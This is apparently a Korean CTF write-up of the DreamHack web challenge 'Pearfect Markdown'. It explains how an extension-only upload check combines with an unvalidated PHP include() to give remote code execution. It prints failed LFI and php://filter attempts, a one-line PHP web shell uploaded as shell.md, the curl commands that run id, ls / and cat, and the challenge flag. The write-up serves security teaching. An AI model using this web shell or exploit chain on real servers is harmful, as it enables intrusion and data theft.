[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

2026-07-21ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ํ•ด์ฃผ๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ PHP ํŽ˜์ด์ง€. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๊ฐ€ .md์ธ์ง€๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ผ์šฐํŠธ๋Š” ๊ทธ ํŒŒ์ผ์„ include()๋กœ ๊ทธ๋Œ€๋กœ ๋ถˆ๋Ÿฌ์˜จ๋‹ค. ๋‘ ๋ผ์šฐํŠธ ๋ชจ๋‘ ๊ฐ์ž ๋ณด๋ฉด ๊ทธ๋Ÿด๋“ฏํ•œ ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋Š” "๋‚ด์šฉ"์„ ์ „ํ˜€ ๋ณด์ง€ ์•Š๊ณ  include()๋Š” "ํ™•์žฅ์ž"๋ฅผ ์ „ํ˜€ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค. ์ฒ˜์Œ์—” ๊ฒฝ๋กœtraversal๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์œผ๋ ค ํ–ˆ์ง€๋งŒ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŒŒ์ผ๋ช…์„ 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊ฟ”๋‘” ํƒ“์— ์‹คํŒจํ–ˆ๊ณ , ๊ฒฐ๊ตญ ์—…๋กœ๋“œํ•œ .md ํŒŒ์ผ ์•ˆ์— PHP ์ฝ”๋“œ๋ฅผ ์‹ฌ์–ด ์‹คํ–‰์‹œํ‚ค๋Š” ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํ‹€์—ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Pearfect Markdown ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 1 FLAG: DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}

๋ฌธ์ œ ์„ค๋ช…์€ ๋”ฑ ๋‘ ์ค„์ด๋‹ค. "์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ์ˆ˜์ •ํ•ด๋ณผ ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค. ์„œ๋น„์Šค์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”." ํŒŒ์ผ์„ ์˜ฌ๋ฆฌ๊ณ , ๊ทธ ํŒŒ์ผ์„ ๋‹ค์‹œ ๋ถˆ๋Ÿฌ์™€ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ํ•ด์ฃผ๋Š” ํŽ˜์ด์ง€ โ€” ์ด ์กฐํ•ฉ ์ž์ฒด๊ฐ€ ์ด๋ฏธ ์›น ๋ฌธ์ œ์—์„œ ์ต์ˆ™ํ•œ ํŒจํ„ด์ด๋‹ค. "๋ฌด์—‡์„ ์˜ฌ๋ฆด ์ˆ˜ ์žˆ๋Š”๊ฐ€"์™€ "์˜ฌ๋ฆฐ ๊ฑธ ์„œ๋ฒ„๊ฐ€ ์–ด๋–ป๊ฒŒ ๋‹ค์‹œ ์ฝ๋Š”๊ฐ€", ์ด ๋‘ ์ง€์ ์ด ์„œ๋กœ ๋‹ค๋ฅธ ํŒŒ์ผ์—์„œ ๊ฐ๊ฐ ๋‹ค๋ฅธ ๊ธฐ์ค€์œผ๋กœ ๊ฒ€์‚ฌ๋˜๊ณ  ์žˆ์—ˆ๊ณ , ๊ทธ ๊ธฐ์ค€์ด ์„œ๋กœ ์–ด๊ธ‹๋‚˜๋Š” ํ‹ˆ์—์„œ ์ทจ์•ฝ์ ์ด ์ƒ๊ฒผ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

VM์„ ๋„์šฐ๋ฉด ํŒŒ์ผ ์—…๋กœ๋“œ ํผ๊ณผ ์˜ˆ์‹œ ๋งˆํฌ๋‹ค์šด ๋ฏธ๋ฆฌ๋ณด๊ธฐ๊ฐ€ ์žˆ๋Š” ๋‹จ์ถœํ•œ ํŽ˜์ด์ง€๊ฐ€ ๋œฌ๋‹ค.

host3.dreamhack.games ํฌํŠธ๋กœ ์ ‘์†ํ•œ Pearfect Markdown ์ฒซ ํ™”๋ฉด โ€” ๋งˆํฌ๋‹ค์šด ํŒŒ์ผ ์—…๋กœ๋“œ ํผ๊ณผ Example Markdown ๋ฏธ๋ฆฌ๋ณด๊ธฐ, ์ด๋ฏธ ์—…๋กœ๋“œ๋œ shell.md๊ฐ€ Uploaded Files ๋ชฉ๋ก์— ๋ณด์ž„

๋ฌธ์ œ ํŒŒ์ผ๋กœ deploy/ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ „์ฒด(PHP ์†Œ์Šค 4๊ฐœ + Dockerfile + docker-compose.yml)๊ฐ€ ํ•จ๊ป˜ ์ œ๊ณต๋๋‹ค. ์†Œ์Šค๊ฐ€ ์žˆ์œผ๋‹ˆ ๋ธ”๋ž™๋ฐ•์Šค ์‚ฝ์งˆ ์—†์ด ์ฝ”๋“œ๋ถ€ํ„ฐ ์ฝ์—ˆ๋‹ค.

// upload.php
$uploads_dir = 'uploads/';
if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $name = basename($_FILES['file']['name']);
 
    if (pathinfo($name, PATHINFO_EXTENSION) === 'md') {
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
        echo "File uploaded successfully!";
    } else {
        echo "Only .md files are allowed!";
    }
}
// post_handler.php
$uploads_dir = 'uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    $file = $_GET['file'] ?? 'example.md';
    $path = $uploads_dir . $file;
    include($path);
}

index.php๋Š” ํŽ˜์ด์ง€๊ฐ€ ์—ด๋ฆฌ์ž๋งˆ์ž fetch('post_handler.php')๋ฅผ ํ˜ธ์ถœํ•ด์„œ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ marked.parse()๋กœ ๋ Œ๋”๋งํ•œ๋‹ค. ์ฆ‰ post_handler.php๋Š” "์ง€๊ธˆ ํŽธ์ง‘ ์ค‘์ธ ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ณด์—ฌ์ฃผ๋Š”" ๋ฏธ๋ฆฌ๋ณด๊ธฐ ์—”๋“œํฌ์ธํŠธ์ด๊ณ , ๊ธฐ๋ณธ๊ฐ’์€ example.md๋‹ค.

post_handler.php๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐ ์—†์ด ํ˜ธ์ถœํ–ˆ์„ ๋•Œ example.md์˜ ์›๋ฌธ ๋งˆํฌ๋‹ค์šด ํ…์ŠคํŠธ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜๋˜๋Š” ํ™”๋ฉด

์—ฌ๊ธฐ์„œ ๋ˆˆ์— ๋„๋Š” ๋‘ ์ง€์ ์ด ์žˆ์—ˆ๋‹ค. upload.php๋Š” basename()์œผ๋กœ ๊ฒฝ๋กœ ์กฐ์ž‘์€ ๋ง‰์œผ๋ฉด์„œ ํ™•์žฅ์ž๊ฐ€ md์ธ์ง€๋Š” ํ™•์ธํ•˜์ง€๋งŒ ํŒŒ์ผ ๋‚ด์šฉ์€ ๋‹จ ํ•œ ๋ฐ”์ดํŠธ๋„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  post_handler.php๋Š” $_GET['file']์„ ์–ด๋–ค ๊ฒ€์ฆ๋„ ์—†์ด 'uploads/' . $file ๋กœ ์ด์–ด๋ถ™์—ฌ ๋ฐ”๋กœ include()์— ๋„˜๊ธด๋‹ค โ€” ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋‹ค๋ฃจ๋Š” edit.php, save.php๋Š” realpath()์™€ strpos()๋กœ uploads/ ๋ฐ”๊นฅ ์ ‘๊ทผ์„ ํ™•์‹คํžˆ ๋ง‰์•„๋’€๋Š”๋ฐ, ์œ ๋… post_handler.php๋งŒ ๊ทธ ๊ฒ€์ฆ์ด ํ†ต์งธ๋กœ ๋น ์ ธ์žˆ์—ˆ๋‹ค.

// edit.php โ€” ๋Œ€์กฐ๊ตฐ: ์—ฌ๊ธฐ๋Š” ๊ฒ€์ฆ์ด ์žˆ๋‹ค
$path = realpath($uploads_dir . $file);
if (strpos($path, realpath($uploads_dir)) === 0 && file_exists($path)) {
    echo htmlspecialchars(file_get_contents($path));
}

edit.php/save.php๋Š” ํŒŒ์ผ ์ด๋ฆ„์„ ๋‹ค๋ฃฐ ๋•Œ ํ•ญ์ƒ ์ด ๊ฒ€์ฆ์„ ๊ฑฐ์น˜๋Š”๋ฐ, post_handler.php๋งŒ ์˜ˆ์™ธ์˜€๋‹ค. ๊ฐ™์€ ํ”„๋กœ์ ํŠธ ์•ˆ์—์„œ "์ด ํŒŒ์ผ๋งŒ ๊ฒ€์ฆ์ด ๋น ์กŒ๋‹ค"๋Š” ๊ฑด ์‹ค์ˆ˜์ผ ํ™•๋ฅ ์ด ๋†’๊ณ , ์‹ค์ œ๋กœ ์ด ๋ฌธ์ œ์˜ ์ง„์งœ ์ทจ์•ฝ์ ์ด ๋ฐ”๋กœ ์—ฌ๊ธฐ์˜€๋‹ค.


โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ โ€” path traversal๋กœ flag๋ฅผ ๋ฐ”๋กœ ์ฝ์œผ๋ ค๋‹ค ๊ณ„์† ์‹คํŒจํ–ˆ๋‹ค

post_handler.php๊ฐ€ ๊ฒ€์ฆ ์—†๋Š” include()๋ผ๋Š” ๊ฑธ ํ™•์ธํ•œ ์ˆœ๊ฐ„ ๊ฐ€์žฅ ๋จผ์ € ๋– ์˜ค๋ฅธ ๊ฑด ์ „ํ˜•์ ์ธ LFI์˜€๋‹ค. deploy/flag ํŒŒ์ผ์ด ๋ฌธ์ œ ์••์ถ• ํŒŒ์ผ ์•ˆ์—๋„ ๋“ค์–ด์žˆ๊ธธ๋ž˜(๋‚ด์šฉ์€ DH{**flag**}๋ผ๋Š” ๋”๋ฏธ ๊ฐ’์ด์—ˆ์ง€๋งŒ) "์‹ค์ œ ์„œ๋ฒ„์—๋„ ๊ฐ™์€ ์œ„์น˜์— flag๊ฐ€ ์žˆ๊ฒ ์ง€" ๋ผ๊ณ  ๊ฐ€์ •ํ•˜๊ณ  ๋ฐ”๋กœ ๊ฒฝ๋กœ traversal์„ ์‹œ๋„ํ–ˆ๋‹ค.

$ curl "$VM/post_handler.php?file=../flag"
Warning: include(uploads/../flag): failed to open stream: No such file or directory
  in /var/www/html/post_handler.php on line 9

์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ /var/www/html/post_handler.php๋ผ๋Š” ์ ˆ๋Œ€๊ฒฝ๋กœ๋ฅผ ๊ทธ๋Œ€๋กœ ํ˜๋ ค์ค˜์„œ, ํ˜„์žฌ ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ /var/www/html์ด๋ผ๋Š” ๊ฒƒ๊ณผ uploads/../flag๊ฐ€ ๊ฒฐ๊ตญ /var/www/html/flag๋กœ ํ’€๋ฆฐ๋‹ค๋Š” ๊ฒƒ๊นŒ์ง€๋Š” ํ™•์ธํ–ˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ๊ฒฝ๋กœ์—” ํŒŒ์ผ์ด ์—†์—ˆ๋‹ค. ../../flag, ../../../flag์ฒ˜๋Ÿผ ๋‹จ๊ณ„๋ฅผ ๋Š˜๋ ค๋ด๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์˜€๋‹ค.

Dockerfile์„ ๋‹ค์‹œ ์ฝ์–ด๋ณด๊ณ  ๋‚˜์„œ์•ผ ์ด์œ ๋ฅผ ์•Œ์•˜๋‹ค.

COPY . /var/www/html/
 
RUN RANDOM_STR=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32) && \
    mv /var/www/html/flag /${RANDOM_STR}_flag

์ด๋ฏธ์ง€๋ฅผ ๋นŒ๋“œํ•˜๋Š” ์‹œ์ ์— /var/www/html/flag๊ฐ€ ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ(/)๋กœ, ๊ทธ๊ฒƒ๋„ 32์ž์งœ๋ฆฌ ๋žœ๋ค ๋ฌธ์ž์—ด์ด ๋ถ™์€ ์ด๋ฆ„์œผ๋กœ ์˜ฎ๊ฒจ์ง„๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ../flag์ฒ˜๋Ÿผ ์›๋ž˜ ์žˆ๋˜ ์ž๋ฆฌ๋ฅผ ๋…ธ๋ฆฌ๋Š” traversal์€ ์• ์ดˆ์— ์„ฑ๋ฆฝํ•  ์ˆ˜ ์—†๋Š” ์‹œ๋„์˜€๋‹ค โ€” ํŒŒ์ผ์ด ๊ฑฐ๊ธฐ ์—†์œผ๋‹ˆ๊นŒ.

๊ทธ ๋‹ค์Œ์œผ๋กœ ์‹œ๋„ํ•œ ๊ฑด include()๊ฐ€ ๋ฐ›๋Š” ๋ฌธ์ž์—ด์— PHP ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋ฅผ ๋ฐ€์–ด๋„ฃ๋Š” ๋ฐฉ๋ฒ•์ด์—ˆ๋‹ค. include()๋Š” ์ผ๋ฐ˜ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฟ ์•„๋‹ˆ๋ผ php://filter/..., data://text/plain,... ๊ฐ™์€ ๋ž˜ํผ ๋ฌธ์ž์—ด๋„ ํ•ด์„ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ์ด๊ฑธ ์ด์šฉํ•˜๋ฉด ์†Œ์Šค ์ฝ”๋“œ๋ฅผ base64๋กœ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ ๊ณง๋ฐ”๋กœ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ ์‹ถ์—ˆ๋‹ค.

$ curl "$VM/post_handler.php?file=php://filter/convert.base64-encode/resource=../post_handler.php"
Warning: include(uploads/php://filter/convert.base64-encode/resource=../post_handler.php):
  failed to open stream: No such file or directory

์ด๊ฒƒ๋„ ์‹คํŒจํ–ˆ๋‹ค. ์ด์œ ๋Š” ๊ฐ„๋‹จํ–ˆ๋‹ค โ€” $path = $uploads_dir . $file์ด ๋ฌธ์ž์—ด ๋งจ ์•ž์— 'uploads/'๋ฅผ ํ•ญ์ƒ ๋ถ™์ธ๋‹ค. PHP๊ฐ€ ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋ฅผ ์ธ์‹ํ•˜๋ ค๋ฉด ๋ฌธ์ž์—ด์ด scheme://๋กœ ์‹œ์ž‘ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์„ ์ˆ˜ ์žˆ๋Š” ๊ฑด ์–ด๋””๊นŒ์ง€๋‚˜ $file ๋ถ€๋ถ„๋ฟ์ด๋ผ ์ตœ์ข… ๋ฌธ์ž์—ด์€ ํ•ญ์ƒ uploads/php://... ํ˜•ํƒœ๊ฐ€ ๋œ๋‹ค. ์ด๊ฑด PHP ์ž…์žฅ์—์„œ ๊ทธ๋ƒฅ uploads/๋ผ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ‘์— ์žˆ๋Š”, ์ด๋ฆ„์— ์ฝœ๋ก ์ด ๋“ค์–ด๊ฐ„ ํŒŒ์ผ์„ ์ฐพ์œผ๋ผ๋Š” ๋œป์ผ ๋ฟ ๋ž˜ํผ๋กœ ํ•ด์„๋˜์ง€ ์•Š๋Š”๋‹ค. ../๋กœ ์•ž์˜ uploads/๋ฅผ ์ง€์›Œ๋ณด๋ ค ํ•ด๋„ ๋ฌธ์ž์—ด ์ž์ฒด์—์„œ ์ง€์›Œ์ง€๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ํŒŒ์ผ์‹œ์Šคํ…œ ๊ฒฝ๋กœ ์ •๊ทœํ™” ๋‹จ๊ณ„์—์„œ๋‚˜ ์ƒ์‡„๋˜๋Š” ๊ฒƒ์ด๋ผ, ๋ž˜ํผ ์ธ์‹(๋ฌธ์ž์—ด ์‹œ์ž‘ ์œ„์น˜ ๊ฒ€์‚ฌ)์—๋Š” ์˜ํ–ฅ์„ ์ฃผ์ง€ ๋ชปํ–ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ๋ฐฉํ–ฅ์„ ์™„์ „ํžˆ ๋ฐ”๊ฟจ๋‹ค. "์ด๋ฏธ ์„œ๋ฒ„ ์–ด๋”˜๊ฐ€์— ์žˆ๋Š” ํŒŒ์ผ์„ ์ฝ์–ด๋‚ด๋Š”" LFI๊ฐ€ ์•„๋‹ˆ๋ผ, "๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๋‚ด์šฉ์„ ๊ฐ€์ง„ ํŒŒ์ผ์„ ์„œ๋ฒ„์— ์ง์ ‘ ๋งŒ๋“ค์–ด ๋„ฃ๊ณ  ๊ทธ๊ฑธ ์‹คํ–‰์‹œํ‚ค๋Š”" ์ชฝ์œผ๋กœ.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ํ™•์žฅ์ž ๊ฒ€์‚ฌ์™€ include()๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ๊ฑธ ๋ณด๊ณ  ์žˆ์—ˆ๋‹ค

upload.php์˜ ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋ฅผ ๋‹ค์‹œ ๋ณด๋ฉด, ์ด ๊ฒ€์‚ฌ๊ฐ€ ๋ง‰๋Š” ๊ฑด ๋”ฑ ํ•˜๋‚˜ โ€” ํŒŒ์ผ ์ด๋ฆ„์ด .md๋กœ ๋๋‚˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๋ฟ์ด๋‹ค. ํŒŒ์ผ ์•ˆ์— ๋ฌด์Šจ ๋ฐ”์ดํŠธ๊ฐ€ ๋“ค์–ด์žˆ๋Š”์ง€๋Š” ์ „ํ˜€ ๊ด€์‹ฌ์ด ์—†๋‹ค.

$ cp shell.md shell.php && curl -s -F 'file=@shell.php' $VM/upload.php
Only .md files are allowed!
$ curl -s -F 'file=@shell.md' $VM/upload.php
File uploaded successfully!
๋™์ผํ•œ ๋‚ด์šฉ์„ ๋‹ด์€ ๋‘ ํŒŒ์ผ ์ค‘ shell.php๋Š” Only .md files are allowed!๋กœ ๊ฑฐ๋ถ€๋˜๊ณ  shell.md๋Š” File uploaded successfully!๋กœ ํ†ต๊ณผํ•˜๋Š” curl ์บก์ณ โ€” ๊ฒ€์‚ฌ ๊ธฐ์ค€์ด ์ˆœ์ „ํžˆ ํŒŒ์ผ๋ช… ํ™•์žฅ์ž๋ฟ์ž„์„ ๋ณด์—ฌ์คŒ

๊ทธ๋ฆฌ๊ณ  ๋ฐ˜๋Œ€ํŽธ์˜ include()๋Š” PHP ์ธํ„ฐํ”„๋ฆฌํ„ฐ ์ž…์žฅ์—์„œ ์ง€๊ทนํžˆ ์ •์ƒ์ ์œผ๋กœ ๋™์ž‘ํ•œ๋‹ค โ€” include()๋Š” ๋Œ€์ƒ ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋ฅผ ์ „ํ˜€ ์‹ ๊ฒฝ ์“ฐ์ง€ ์•Š๋Š”๋‹ค. .md๋“  .txt๋“  ํ™•์žฅ์ž๊ฐ€ ์•„์˜ˆ ์—†๋“ , ๊ทธ ํŒŒ์ผ ์•ˆ์— <?php ... ?> ํƒœ๊ทธ๊ฐ€ ์žˆ์œผ๋ฉด PHP๋Š” ๊ทธ ๋ถ€๋ถ„์„ ๊ทธ๋ƒฅ ์‹คํ–‰ํ•œ๋‹ค. .php ํ™•์žฅ์ž๋Š” ์•„ํŒŒ์น˜๊ฐ€ "์ด ์š”์ฒญ์„ PHP ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋กœ ๋„˜๊ธธ์ง€" ํŒ๋‹จํ•  ๋•Œ๋‚˜ ์˜๋ฏธ๊ฐ€ ์žˆ์„ ๋ฟ, include()๋กœ ํŒŒ์ผ์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์‹œ์ ์—” ์•„๋ฌด ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

๋‘ ์‚ฌ์‹ค์„ ๋ถ™์ด๋ฉด ๊ฒฐ๋ก ์€ ๋ช…ํ™•ํ•˜๋‹ค. .md๋ผ๋Š” ์ด๋ฆ„ํ‘œ๋งŒ ๋ถ™์ด๋ฉด ๊ทธ ์•ˆ์— ์–ด๋–ค PHP ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด๋„ ์—…๋กœ๋“œ๊ฐ€ ํ†ต๊ณผ๋˜๊ณ , ๊ทธ ์ฝ”๋“œ๋Š” post_handler.php?file=<์ด๋ฆ„>์„ ํ˜ธ์ถœํ•˜๋Š” ์ฆ‰์‹œ ๊ทธ๋Œ€๋กœ ์‹คํ–‰๋œ๋‹ค. ๊ฒฝ๋กœ traversal๋„, ์ŠคํŠธ๋ฆผ ๋ž˜ํผ๋„ ํ•„์š” ์—†๋‹ค. ๊ทธ๋ƒฅ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ด์€ .md ํŒŒ์ผ ํ•˜๋‚˜๋ฅผ ์˜ฌ๋ฆฌ๊ณ  ๊ทธ ํŒŒ์ผ๋ช…์„ ๊ทธ๋Œ€๋กœ ๋ถ€๋ฅด๋ฉด ๋์ด๋‹ค.

edit.php?file=shell.md ๋กœ ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์„ ์—ด์–ด๋ณธ ํ™”๋ฉด โ€” ํ…์ŠคํŠธ ์˜์—ญ์— <?php system($_GET['cmd']); ?> ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ €์žฅ๋˜์–ด ์žˆ์Œ์ด htmlspecialchars๋กœ ์ด์Šค์ผ€์ดํ”„๋˜์–ด ๋ณด์ž„

edit.php๋Š” htmlspecialchars()๋กœ ์ด์Šค์ผ€์ดํ”„ํ•ด์„œ ๋ณด์—ฌ์ฃผ๊ธฐ ๋•Œ๋ฌธ์— ์ด ํ™”๋ฉด ์ž์ฒด์—์„œ๋Š” ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค โ€” ์—ฌ๊ธฐ์„œ ํ™•์ธํ•˜๋ ค๋˜ ๊ฑด ์˜ค์ง "์—…๋กœ๋“œํ•œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์†์ƒ ์—†์ด ๊ทธ๋Œ€๋กœ ์ €์žฅ๋˜์–ด ์žˆ๋Š”๊ฐ€" ํ•˜๋‚˜์˜€๋‹ค. ์‹คํ–‰์€ ์˜ค์ง post_handler.php๋ฅผ ๊ฑฐ์น  ๋•Œ๋งŒ ์ผ์–ด๋‚œ๋‹ค.

์ „์ฒด ๊ณต๊ฒฉ ํ๋ฆ„ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” upload.php๋Š” ํ™•์žฅ์ž๋งŒ ๊ฒ€์‚ฌ, post_handler.php๋Š” ๊ฒ€์ฆ ์—†์ด include, ๋‘ ์ทจ์•ฝ์ ์„ ์ด์œผ๋ฉด RCE, flag๋Š” Dockerfile์—์„œ ๋ฃจํŠธ๋กœ ๋žœ๋ค๋ช… ์ด๋™๋˜์–ด ls๋กœ ๋จผ์ € ์ฐพ์•„์•ผ ํ•จ, 4๋‹จ๊ณ„

๐ŸŽฏ ์ž์ฒด ์™„๊ฒฐ solve

ํŽ˜์ด๋กœ๋“œ ํŒŒ์ผ ๋‚ด์šฉ์€ ์•„์ฃผ ์งง๋‹ค.

<?php system($_GET['cmd']); ?>

์ด ๋‚ด์šฉ์„ shell.md๋กœ ์ €์žฅํ•ด์„œ ์—…๋กœ๋“œํ•˜๊ณ , post_handler.php?file=shell.md&cmd=id๋กœ ํ˜ธ์ถœํ•ด๋ดค๋‹ค.

ํ„ฐ๋ฏธ๋„ ์บก์ณ โ€” cat shell.md๋กœ ํŽ˜์ด๋กœ๋“œ ๋‚ด์šฉ ํ™•์ธ, curl๋กœ upload.php์— ์—…๋กœ๋“œํ•ด File uploaded successfully! ์‘๋‹ต, curl๋กœ post_handler.php?file=shell.md&cmd=id ํ˜ธ์ถœํ•ด uid=33(www-data) gid=33(www-data) groups=33(www-data) ์‘๋‹ต์„ ๋ฐ›๋Š” 3๋‹จ๊ณ„ ์‹คํ–‰

uid=33(www-data)๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฐํ˜”๋‹ค โ€” RCE ํ™•์ •์ด๋‹ค. ์ด์ œ ๋‚จ์€ ๊ฑด flag ํŒŒ์ผ์˜ ์‹ค์ œ ์ด๋ฆ„์„ ์ฐพ๋Š” ๊ฒƒ๋ฟ์ด๋‹ค. Dockerfile์—์„œ ํ™•์ธํ•œ ๋Œ€๋กœ flag๋Š” ๋ฃจํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ(/)์— 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด์ด ๋ถ™์€ ์ด๋ฆ„์œผ๋กœ ์žˆ์œผ๋‹ˆ, cmd=ls+/๋กœ ๋ฃจํŠธ๋ฅผ ์ง์ ‘ ๋‚˜์—ดํ–ˆ๋‹ค.

๋ธŒ๋ผ์šฐ์ €๋กœ post_handler.php?file=shell.md&cmd=ls+/ ๋ฅผ ํ˜ธ์ถœํ•œ ๊ฒฐ๊ณผ โ€” bin boot dev etc ์‚ฌ์ด์— qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag ๋ผ๋Š” ๋žœ๋ค ์ด๋ฆ„์˜ ํŒŒ์ผ์ด ์„ž์—ฌ์žˆ๋Š” ๊ฒƒ์ด ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋จ

qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag. ๋‚˜๋จธ์ง€๋Š” ๊ทธ๋ƒฅ ๊ทธ ํŒŒ์ผ์„ ์ฝ์œผ๋ฉด ๋œ๋‹ค.

post_handler.php?file=shell.md&cmd=cat+/qeNSko1Mxxz8oeCOdlmHEK46vDOwOMKn_flag ํ˜ธ์ถœ ๊ฒฐ๊ณผ ํ™”๋ฉด์— DH{...} ํ˜•์‹์˜ flag ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋จ
DH{9a2a75682b662e873797cd3ccdd6b22fb166d43f2dddc6e57de9a6c0effc9307}

๋“œ๋ฆผํ•ต์— ์ œ์ถœํ•ด "์ •๋‹ต! ํ•ด๊ฒฐ ์ฒ˜๋ฆฌ๋จ"์œผ๋กœ ํ™•์ •๋๊ณ  VM ํฌ๋ ˆ๋”ง๋„ ์ฆ‰์‹œ ํ™˜๊ธ‰๋๋‹ค.


๐Ÿ“ ๊ฒฐ๋ก 

์ด ๋ฌธ์ œ๋Š” ๋‘ ํŒŒ์ผ ๊ฐ๊ฐ์„ ๋”ฐ๋กœ ๋ณด๋ฉด ๋‘˜ ๋‹ค "๊ทธ๋Ÿญ์ €๋Ÿญ ๋ฐฉ์–ด๋ฅผ ํ•˜๊ณ  ์žˆ๋Š”" ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค๋Š” ์ ์—์„œ ์‹ค๋ฌด ์ฝ”๋“œ ๋ฆฌ๋ทฐ์— ๋Œ€ํ•œ ๊ตํ›ˆ์ด ํฌ๋‹ค.

